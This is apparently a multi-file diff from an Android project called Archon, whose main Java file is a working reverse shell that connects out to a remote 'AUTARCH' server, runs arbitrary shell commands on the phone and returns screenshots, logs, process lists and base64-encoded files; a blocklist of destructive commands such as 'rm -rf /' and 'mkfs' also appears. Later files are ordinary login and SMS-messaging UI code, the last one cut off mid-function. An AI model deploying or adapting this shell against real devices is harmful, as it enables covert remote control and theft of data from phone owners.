private static int extractJsonInt(String json, String key, int defaultVal) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return defaultVal;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return defaultVal;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
sb.append(json.charAt(idx));
idx++;
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultVal;
}
}
// ── Logging ─────────────────────────────────────────────────────
private static void log(String msg) {
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
String line = timestamp + " [" + TAG + "] " + msg;
System.out.println(line);
try {
FileWriter fw = new FileWriter(LOG_FILE, true);
fw.write(line + "\n");
fw.close();
} catch (IOException ignored) {
// Can't write log file — not fatal
}
}
}

View File

@@ -0,0 +1,659 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Archon Reverse Shell — outbound shell connecting back to AUTARCH server.
*
* Runs via app_process at shell (UID 2000) level, same as ArchonServer.
* Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener.
*
* Started via ADB:
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
* --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \
* <server_ip> <server_port> <auth_token> <timeout_minutes>
*
* Protocol (JSON over TCP, newline-delimited):
* Auth handshake (client → server):
* {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
* Server response:
* {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
*
* Command (server → client):
* {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"}
* Response (client → server):
* {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0}
*
* Special commands (server → client):
* {"type":"cmd","cmd":"__sysinfo__","id":"..."}
* {"type":"cmd","cmd":"__packages__","id":"..."}
* {"type":"cmd","cmd":"__screenshot__","id":"..."}
* {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"}
* {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."}
* {"type":"cmd","cmd":"__processes__","id":"..."}
* {"type":"cmd","cmd":"__netstat__","id":"..."}
* {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100}
* {"type":"cmd","cmd":"__disconnect__"}
*
* Keepalive (bidirectional):
* {"type":"ping"} → {"type":"pong"}
*/
public class ArchonShell {
private static final String TAG = "ArchonShell";
private static final String LOG_FILE = "/data/local/tmp/archon_shell.log";
private static final int DEFAULT_TIMEOUT = 30;
private static final int CONNECT_TIMEOUT_MS = 10000;
private static final int KEEPALIVE_INTERVAL_MS = 30000;
// Same safety blocklist as ArchonServer
private static final String[] BLOCKED_PATTERNS = {
"rm -rf /",
"rm -rf /*",
"mkfs",
"dd if=/dev/zero",
"reboot",
"shutdown",
"init 0",
"init 6",
"flash_image",
"erase_image",
"format_data",
"> /dev/block",
};
private static String serverIp;
private static int serverPort;
private static String authToken;
private static int timeoutMinutes;
private static final AtomicBoolean running = new AtomicBoolean(true);
private static long startTime;
private static int commandCount = 0;
public static void main(String[] args) {
if (args.length < 4) {
System.err.println("Usage: ArchonShell <server_ip> <server_port> <token> <timeout_minutes>");
System.exit(1);
}
serverIp = args[0];
serverPort = Integer.parseInt(args[1]);
authToken = args[2];
timeoutMinutes = Integer.parseInt(args[3]);
startTime = System.currentTimeMillis();
log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort);
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
log("Timeout: " + timeoutMinutes + " minutes");
// Shutdown hook
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log("Shutdown hook triggered");
running.set(false);
}));
// Start timeout watchdog
Thread watchdog = new Thread(() -> {
long deadline = startTime + (timeoutMinutes * 60L * 1000L);
while (running.get()) {
if (System.currentTimeMillis() > deadline) {
log("Auto-timeout after " + timeoutMinutes + " minutes");
running.set(false);
break;
}
try { Thread.sleep(5000); } catch (InterruptedException e) { break; }
}
});
watchdog.setDaemon(true);
watchdog.start();
// Connect and run shell loop
Socket socket = null;
try {
socket = new Socket();
socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS);
socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection
socket.setKeepAlive(true);
log("Connected to " + serverIp + ":" + serverPort);
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true);
// Send auth handshake
if (!authenticate(writer, reader)) {
log("Authentication failed — disconnecting");
System.exit(3);
}
log("Authenticated — entering shell loop");
// Main command loop: read commands from server, execute, return results
shellLoop(reader, writer);
} catch (IOException e) {
log("Connection failed: " + e.getMessage());
System.exit(2);
} finally {
if (socket != null) {
try { socket.close(); } catch (IOException ignored) {}
}
}
log("Shell stopped — " + commandCount + " commands executed");
System.exit(0);
}
private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException {
// Gather device info
String model = getSystemProp("ro.product.model", "unknown");
String androidVer = getSystemProp("ro.build.version.release", "unknown");
int uid = android.os.Process.myUid();
String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) +
",\"device\":" + jsonEscape(model) +
",\"android\":" + jsonEscape(androidVer) +
",\"uid\":" + uid + "}";
writer.println(authMsg);
writer.flush();
// Wait for auth response
String response = reader.readLine();
if (response == null) return false;
String type = extractJsonString(response, "type");
if ("auth_ok".equals(type)) {
return true;
}
String reason = extractJsonString(response, "reason");
log("Auth rejected: " + (reason != null ? reason : "unknown reason"));
return false;
}
private static void shellLoop(BufferedReader reader, PrintWriter writer) {
while (running.get()) {
try {
String line = reader.readLine();
if (line == null) {
log("Server closed connection");
running.set(false);
break;
}
String type = extractJsonString(line, "type");
if (type == null) continue;
switch (type) {
case "cmd":
handleCommand(line, writer);
break;
case "ping":
writer.println("{\"type\":\"pong\"}");
writer.flush();
break;
case "disconnect":
log("Server requested disconnect");
running.set(false);
break;
default:
log("Unknown message type: " + type);
break;
}
} catch (java.net.SocketTimeoutException e) {
// Send keepalive ping
writer.println("{\"type\":\"ping\"}");
writer.flush();
} catch (IOException e) {
log("Connection error: " + e.getMessage());
running.set(false);
break;
}
}
}
private static void handleCommand(String json, PrintWriter writer) {
String cmd = extractJsonString(json, "cmd");
String id = extractJsonString(json, "id");
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
if (cmd == null || cmd.isEmpty()) {
sendResult(writer, id, "", "No command specified", -1);
return;
}
commandCount++;
log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd));
// Handle special commands
switch (cmd) {
case "__sysinfo__":
handleSysinfo(writer, id);
return;
case "__packages__":
handlePackages(writer, id);
return;
case "__screenshot__":
handleScreenshot(writer, id);
return;
case "__processes__":
handleProcesses(writer, id);
return;
case "__netstat__":
handleNetstat(writer, id);
return;
case "__dumplog__":
int lines = extractJsonInt(json, "lines", 100);
handleDumplog(writer, id, lines);
return;
case "__download__":
String dlPath = extractJsonString(json, "path");
handleDownload(writer, id, dlPath);
return;
case "__upload__":
String ulPath = extractJsonString(json, "path");
String ulData = extractJsonString(json, "data");
handleUpload(writer, id, ulPath, ulData);
return;
case "__disconnect__":
log("Disconnect command received");
running.set(false);
sendResult(writer, id, "Disconnecting", "", 0);
return;
}
// Safety check
if (isBlocked(cmd)) {
log("BLOCKED dangerous command: " + cmd);
sendResult(writer, id, "", "Command blocked by safety filter", -1);
return;
}
// Execute regular shell command
String response = executeCommand(cmd, timeout);
writer.println(addId(response, id));
writer.flush();
}
// ── Special command handlers ────────────────────────────────────
private static void handleSysinfo(PrintWriter writer, String id) {
StringBuilder info = new StringBuilder();
info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n");
info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n");
info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n");
info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n");
info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n");
info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n");
info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n");
info.append("UID: ").append(android.os.Process.myUid()).append("\n");
info.append("PID: ").append(android.os.Process.myPid()).append("\n");
info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n");
info.append("Commands: ").append(commandCount).append("\n");
// Disk usage
String df = quickExec("df -h /data 2>/dev/null | tail -1", 5);
if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n");
// Memory
String mem = quickExec("cat /proc/meminfo | head -3", 5);
if (mem != null) info.append(mem);
sendResult(writer, id, info.toString(), "", 0);
}
private static void handlePackages(PrintWriter writer, String id) {
String result = quickExec("pm list packages -f 2>/dev/null", 30);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleScreenshot(PrintWriter writer, String id) {
// Capture screenshot to temp file, then base64 encode
String tmpFile = "/data/local/tmp/archon_screenshot.png";
String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10);
if (captureResult == null || new File(tmpFile).length() == 0) {
sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1);
return;
}
// Base64 encode — read in chunks to avoid memory issues
String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30);
quickExec("rm " + tmpFile, 5);
if (b64 != null && !b64.isEmpty()) {
sendResult(writer, id, b64, "", 0);
} else {
sendResult(writer, id, "", "Failed to encode screenshot", -1);
}
}
private static void handleProcesses(PrintWriter writer, String id) {
String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleNetstat(PrintWriter writer, String id) {
StringBuilder sb = new StringBuilder();
String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5);
if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); }
String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5);
if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); }
String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5);
if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); }
sendResult(writer, id, sb.toString(), "", 0);
}
private static void handleDumplog(PrintWriter writer, String id, int lines) {
String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleDownload(PrintWriter writer, String id, String path) {
if (path == null || path.isEmpty()) {
sendResult(writer, id, "", "No path specified", -1);
return;
}
File file = new File(path);
if (!file.exists()) {
sendResult(writer, id, "", "File not found: " + path, -1);
return;
}
if (file.length() > 50 * 1024 * 1024) { // 50MB limit
sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1);
return;
}
String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60);
if (b64 != null && !b64.isEmpty()) {
// Send with metadata
String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
",\"stdout\":" + jsonEscape(b64) +
",\"stderr\":\"\",\"exit_code\":0" +
",\"filename\":" + jsonEscape(file.getName()) +
",\"size\":" + file.length() + "}";
writer.println(meta);
writer.flush();
} else {
sendResult(writer, id, "", "Failed to read file", -1);
}
}
private static void handleUpload(PrintWriter writer, String id, String path, String data) {
if (path == null || path.isEmpty()) {
sendResult(writer, id, "", "No path specified", -1);
return;
}
if (data == null || data.isEmpty()) {
sendResult(writer, id, "", "No data specified", -1);
return;
}
// Write base64 data to temp file, then decode to destination
String tmpFile = "/data/local/tmp/archon_upload_tmp";
try {
FileWriter fw = new FileWriter(tmpFile);
fw.write(data);
fw.close();
String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30);
quickExec("rm " + tmpFile, 5);
File dest = new File(path);
if (dest.exists()) {
sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0);
} else {
sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1);
}
} catch (IOException e) {
sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1);
}
}
// ── Command execution ──────────────────────────────────────────
private static boolean isBlocked(String cmd) {
String lower = cmd.toLowerCase(Locale.ROOT).trim();
for (String pattern : BLOCKED_PATTERNS) {
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
return true;
}
}
return false;
}
private static String executeCommand(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(false);
Process process = pb.start();
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
Thread stdoutThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stdout.length() > 0) stdout.append("\n");
stdout.append(line);
}
} catch (IOException ignored) {}
});
Thread stderrThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stderr.length() > 0) stderr.append("\n");
stderr.append(line);
}
} catch (IOException ignored) {}
});
stdoutThread.start();
stderrThread.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
stdoutThread.join(1000);
stderrThread.join(1000);
return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
}
stdoutThread.join(5000);
stderrThread.join(5000);
return jsonResult(stdout.toString(), stderr.toString(), process.exitValue());
} catch (Exception e) {
return jsonResult("", "Execution error: " + e.getMessage(), -1);
}
}
/** Quick exec for internal use — returns stdout or null on failure. */
private static String quickExec(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
StringBuilder output = new StringBuilder();
Thread reader = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (output.length() > 0) output.append("\n");
output.append(line);
}
} catch (IOException ignored) {}
});
reader.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
}
reader.join(2000);
return output.toString();
} catch (Exception e) {
return null;
}
}
private static String getSystemProp(String key, String defaultVal) {
String result = quickExec("getprop " + key, 5);
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
}
private static String readFile(String path, String defaultVal) {
String result = quickExec("cat " + path + " 2>/dev/null", 5);
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
}
// ── JSON helpers ───────────────────────────────────────────────
private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) {
String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
",\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
writer.println(msg);
writer.flush();
}
private static String jsonResult(String stdout, String stderr, int exitCode) {
return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
}
private static String addId(String jsonResult, String id) {
if (id == null || id.isEmpty()) return jsonResult;
// Insert id field after opening brace
return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1);
}
private static String jsonEscape(String s) {
if (s == null) return "\"\"";
StringBuilder sb = new StringBuilder("\"");
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\b': sb.append("\\b"); break;
case '\f': sb.append("\\f"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default:
if (c < 0x20) {
sb.append(String.format("\\u%04x", (int) c));
} else {
sb.append(c);
}
}
}
sb.append("\"");
return sb.toString();
}
private static String extractJsonString(String json, String key) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return null;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return null;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
if (idx >= json.length() || json.charAt(idx) != '"') return null;
idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length()) {
char c = json.charAt(idx);
if (c == '\\' && idx + 1 < json.length()) {
char next = json.charAt(idx + 1);
switch (next) {
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
default: sb.append(next); break;
}
idx += 2;
} else if (c == '"') {
break;
} else {
sb.append(c);
idx++;
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultVal) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return defaultVal;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return defaultVal;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
sb.append(json.charAt(idx));
idx++;
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultVal;
}
}
// ── Logging ────────────────────────────────────────────────────
private static void log(String msg) {
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
String line = timestamp + " [" + TAG + "] " + msg;
System.out.println(line);
try {
FileWriter fw = new FileWriter(LOG_FILE, true);
fw.write(line + "\n");
fw.close();
} catch (IOException ignored) {}
}
}

View File

@@ -0,0 +1,151 @@
package com.darkhal.archon
import android.content.Intent
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.textfield.TextInputEditText
class LoginActivity : AppCompatActivity() {
private lateinit var inputServerIp: TextInputEditText
private lateinit var inputPort: TextInputEditText
private lateinit var inputUsername: TextInputEditText
private lateinit var inputPassword: TextInputEditText
private lateinit var statusText: TextView
private lateinit var btnLogin: MaterialButton
private val handler = Handler(Looper.getMainLooper())
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// If already logged in, skip to main
if (AuthManager.isLoggedIn(this)) {
// Quick session check in background, but go to main immediately
startMain()
return
}
setContentView(R.layout.activity_login)
inputServerIp = findViewById(R.id.input_login_server_ip)
inputPort = findViewById(R.id.input_login_port)
inputUsername = findViewById(R.id.input_login_username)
inputPassword = findViewById(R.id.input_login_password)
statusText = findViewById(R.id.login_status)
btnLogin = findViewById(R.id.btn_login)
// Pre-fill from saved settings
val savedIp = PrefsManager.getServerIp(this)
if (savedIp.isNotEmpty()) {
inputServerIp.setText(savedIp)
}
inputPort.setText(PrefsManager.getWebPort(this).toString())
val savedUser = AuthManager.getUsername(this)
if (savedUser.isNotEmpty()) {
inputUsername.setText(savedUser)
}
btnLogin.setOnClickListener { doLogin() }
findViewById<MaterialButton>(R.id.btn_login_detect).setOnClickListener {
autoDetect(it as MaterialButton)
}
findViewById<MaterialButton>(R.id.btn_login_skip).setOnClickListener {
startMain()
}
}
private fun doLogin() {
val serverIp = inputServerIp.text.toString().trim()
val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181
val username = inputUsername.text.toString().trim()
val password = inputPassword.text.toString().trim()
if (serverIp.isEmpty()) {
statusText.text = "Enter server IP or tap AUTO-DETECT"
return
}
if (username.isEmpty() || password.isEmpty()) {
statusText.text = "Enter username and password"
return
}
// Save server settings
PrefsManager.setServerIp(this, serverIp)
PrefsManager.setWebPort(this, port)
btnLogin.isEnabled = false
btnLogin.text = "LOGGING IN..."
statusText.text = "Connecting to $serverIp:$port..."
Thread {
val result = AuthManager.login(this@LoginActivity, username, password)
handler.post {
btnLogin.isEnabled = true
btnLogin.text = "LOGIN"
if (result.success) {
Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show()
startMain()
} else {
statusText.text = result.message
}
}
}.start()
}
private fun autoDetect(btn: MaterialButton) {
btn.isEnabled = false
btn.text = "SCANNING..."
statusText.text = "Scanning for AUTARCH server..."
val discovery = DiscoveryManager(this)
discovery.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
discovery.stopDiscovery()
handler.post {
if (server.ip.isNotEmpty()) {
inputServerIp.setText(server.ip)
}
if (server.port > 0) {
inputPort.setText(server.port.toString())
}
statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}"
btn.isEnabled = true
btn.text = "AUTO-DETECT"
}
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
handler.post {
if (discovery.getDiscoveredServers().isEmpty()) {
statusText.text = "No AUTARCH server found on network"
}
btn.isEnabled = true
btn.text = "AUTO-DETECT"
}
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
}
discovery.startDiscovery()
}
private fun startMain() {
startActivity(Intent(this, MainActivity::class.java))
finish()
}
}

View File

@@ -0,0 +1,30 @@
package com.darkhal.archon
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.navigation.fragment.NavHostFragment
import androidx.navigation.ui.setupWithNavController
import com.darkhal.archon.messaging.MessagingModule
import com.darkhal.archon.module.ModuleManager
import com.google.android.material.bottomnavigation.BottomNavigationView
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// Initialize module registry
ModuleManager.init()
// Register SMS/RCS messaging module
ModuleManager.register(MessagingModule())
val navHostFragment = supportFragmentManager
.findFragmentById(R.id.nav_host_fragment) as NavHostFragment
val navController = navHostFragment.navController
val bottomNav = findViewById<BottomNavigationView>(R.id.bottom_nav)
bottomNav.setupWithNavController(navController)
}
}

View File

@@ -0,0 +1,283 @@
package com.darkhal.archon.messaging
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.darkhal.archon.R
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.Date
import java.util.Locale
import java.util.concurrent.TimeUnit
/**
* RecyclerView adapter for the conversation list view.
* Shows each conversation with contact avatar, name/number, snippet, date, and unread badge.
*/
class ConversationAdapter(
private val conversations: MutableList<MessagingRepository.Conversation>,
private val onClick: (MessagingRepository.Conversation) -> Unit
) : RecyclerView.Adapter<ConversationAdapter.ViewHolder>() {
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
val avatarText: TextView = itemView.findViewById(R.id.avatar_text)
val avatarBg: View = itemView.findViewById(R.id.avatar_bg)
val contactName: TextView = itemView.findViewById(R.id.contact_name)
val snippet: TextView = itemView.findViewById(R.id.message_snippet)
val dateText: TextView = itemView.findViewById(R.id.conversation_date)
val unreadBadge: TextView = itemView.findViewById(R.id.unread_badge)
init {
itemView.setOnClickListener {
val pos = adapterPosition
if (pos != RecyclerView.NO_POSITION) {
onClick(conversations[pos])
}
}
}
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val view = LayoutInflater.from(parent.context)
.inflate(R.layout.item_conversation, parent, false)
return ViewHolder(view)
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
val conv = conversations[position]
// Avatar — first letter of contact name or number
val displayName = conv.contactName ?: conv.address
val initial = displayName.firstOrNull()?.uppercase() ?: "#"
holder.avatarText.text = initial
// Avatar background color — deterministic based on address
val avatarDrawable = GradientDrawable()
avatarDrawable.shape = GradientDrawable.OVAL
avatarDrawable.setColor(getAvatarColor(conv.address))
holder.avatarBg.background = avatarDrawable
// Contact name / phone number
holder.contactName.text = displayName
// Snippet (most recent message)
holder.snippet.text = conv.snippet
// Date
holder.dateText.text = formatConversationDate(conv.date)
// Unread badge
if (conv.unreadCount > 0) {
holder.unreadBadge.visibility = View.VISIBLE
holder.unreadBadge.text = if (conv.unreadCount > 99) "99+" else conv.unreadCount.toString()
} else {
holder.unreadBadge.visibility = View.GONE
}
}
override fun getItemCount(): Int = conversations.size
fun updateData(newConversations: List<MessagingRepository.Conversation>) {
conversations.clear()
conversations.addAll(newConversations)
notifyDataSetChanged()
}
/**
* Format date for conversation list display.
* Today: show time (3:45 PM), This week: show day (Mon), Older: show date (12/25).
*/
private fun formatConversationDate(timestamp: Long): String {
if (timestamp <= 0) return ""
val now = System.currentTimeMillis()
val diff = now - timestamp
val date = Date(timestamp)
val today = Calendar.getInstance()
today.set(Calendar.HOUR_OF_DAY, 0)
today.set(Calendar.MINUTE, 0)
today.set(Calendar.SECOND, 0)
today.set(Calendar.MILLISECOND, 0)
return when {
timestamp >= today.timeInMillis -> {
// Today — show time
SimpleDateFormat("h:mm a", Locale.US).format(date)
}
diff < TimeUnit.DAYS.toMillis(7) -> {
// This week — show day name
SimpleDateFormat("EEE", Locale.US).format(date)
}
diff < TimeUnit.DAYS.toMillis(365) -> {
// This year — show month/day
SimpleDateFormat("MMM d", Locale.US).format(date)
}
else -> {
// Older — show full date
SimpleDateFormat("M/d/yy", Locale.US).format(date)
}
}
}
/**
* Generate a deterministic color for a contact's avatar based on their address.
*/
private fun getAvatarColor(address: String): Int {
val colors = intArrayOf(
Color.parseColor("#E91E63"), // Pink
Color.parseColor("#9C27B0"), // Purple
Color.parseColor("#673AB7"), // Deep Purple
Color.parseColor("#3F51B5"), // Indigo
Color.parseColor("#2196F3"), // Blue
Color.parseColor("#009688"), // Teal
Color.parseColor("#4CAF50"), // Green
Color.parseColor("#FF9800"), // Orange
Color.parseColor("#795548"), // Brown
Color.parseColor("#607D8B"), // Blue Grey
)
val hash = address.hashCode().let { if (it < 0) -it else it }
return colors[hash % colors.size]
}
}
/**
* RecyclerView adapter for the message thread view.
* Shows messages as chat bubbles — sent aligned right (accent), received aligned left (gray).
*/
class MessageAdapter(
private val messages: MutableList<MessagingRepository.Message>,
private val onLongClick: (MessagingRepository.Message) -> Unit
) : RecyclerView.Adapter<MessageAdapter.ViewHolder>() {
companion object {
private const val VIEW_TYPE_SENT = 0
private const val VIEW_TYPE_RECEIVED = 1
}
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
val bubbleBody: TextView = itemView.findViewById(R.id.bubble_body)
val bubbleTime: TextView = itemView.findViewById(R.id.bubble_time)
val bubbleStatus: TextView? = itemView.findViewOrNull(R.id.bubble_status)
val rcsIndicator: TextView? = itemView.findViewOrNull(R.id.rcs_indicator)
init {
itemView.setOnLongClickListener {
val pos = adapterPosition
if (pos != RecyclerView.NO_POSITION) {
onLongClick(messages[pos])
}
true
}
}
}
override fun getItemViewType(position: Int): Int {
val msg = messages[position]
return when (msg.type) {
MessagingRepository.MESSAGE_TYPE_SENT,
MessagingRepository.MESSAGE_TYPE_OUTBOX,
MessagingRepository.MESSAGE_TYPE_QUEUED,
MessagingRepository.MESSAGE_TYPE_FAILED -> VIEW_TYPE_SENT
else -> VIEW_TYPE_RECEIVED
}
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val layoutRes = if (viewType == VIEW_TYPE_SENT) {
R.layout.item_message_sent
} else {
R.layout.item_message_received
}
val view = LayoutInflater.from(parent.context).inflate(layoutRes, parent, false)
return ViewHolder(view)
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
val msg = messages[position]
// Message body
holder.bubbleBody.text = msg.body
// Timestamp
holder.bubbleTime.text = formatMessageTime(msg.date)
// Delivery status (sent messages only)
holder.bubbleStatus?.let { statusView ->
if (msg.type == MessagingRepository.MESSAGE_TYPE_SENT) {
statusView.visibility = View.VISIBLE
statusView.text = when (msg.status) {
-1 -> "" // No status
0 -> "Sent"
32 -> "Delivered"
64 -> "Failed"
else -> ""
}
} else {
statusView.visibility = View.GONE
}
}
// RCS indicator
holder.rcsIndicator?.let { indicator ->
if (msg.isRcs) {
indicator.visibility = View.VISIBLE
indicator.text = "RCS"
} else if (msg.isMms) {
indicator.visibility = View.VISIBLE
indicator.text = "MMS"
} else {
indicator.visibility = View.GONE
}
}
}
override fun getItemCount(): Int = messages.size
fun updateData(newMessages: List<MessagingRepository.Message>) {
messages.clear()
messages.addAll(newMessages)
notifyDataSetChanged()
}
fun addMessage(message: MessagingRepository.Message) {
messages.add(message)
notifyItemInserted(messages.size - 1)
}
/**
* Format timestamp for individual messages.
* Shows time for today, date+time for older messages.
*/
private fun formatMessageTime(timestamp: Long): String {
if (timestamp <= 0) return ""
val date = Date(timestamp)
val today = Calendar.getInstance()
today.set(Calendar.HOUR_OF_DAY, 0)
today.set(Calendar.MINUTE, 0)
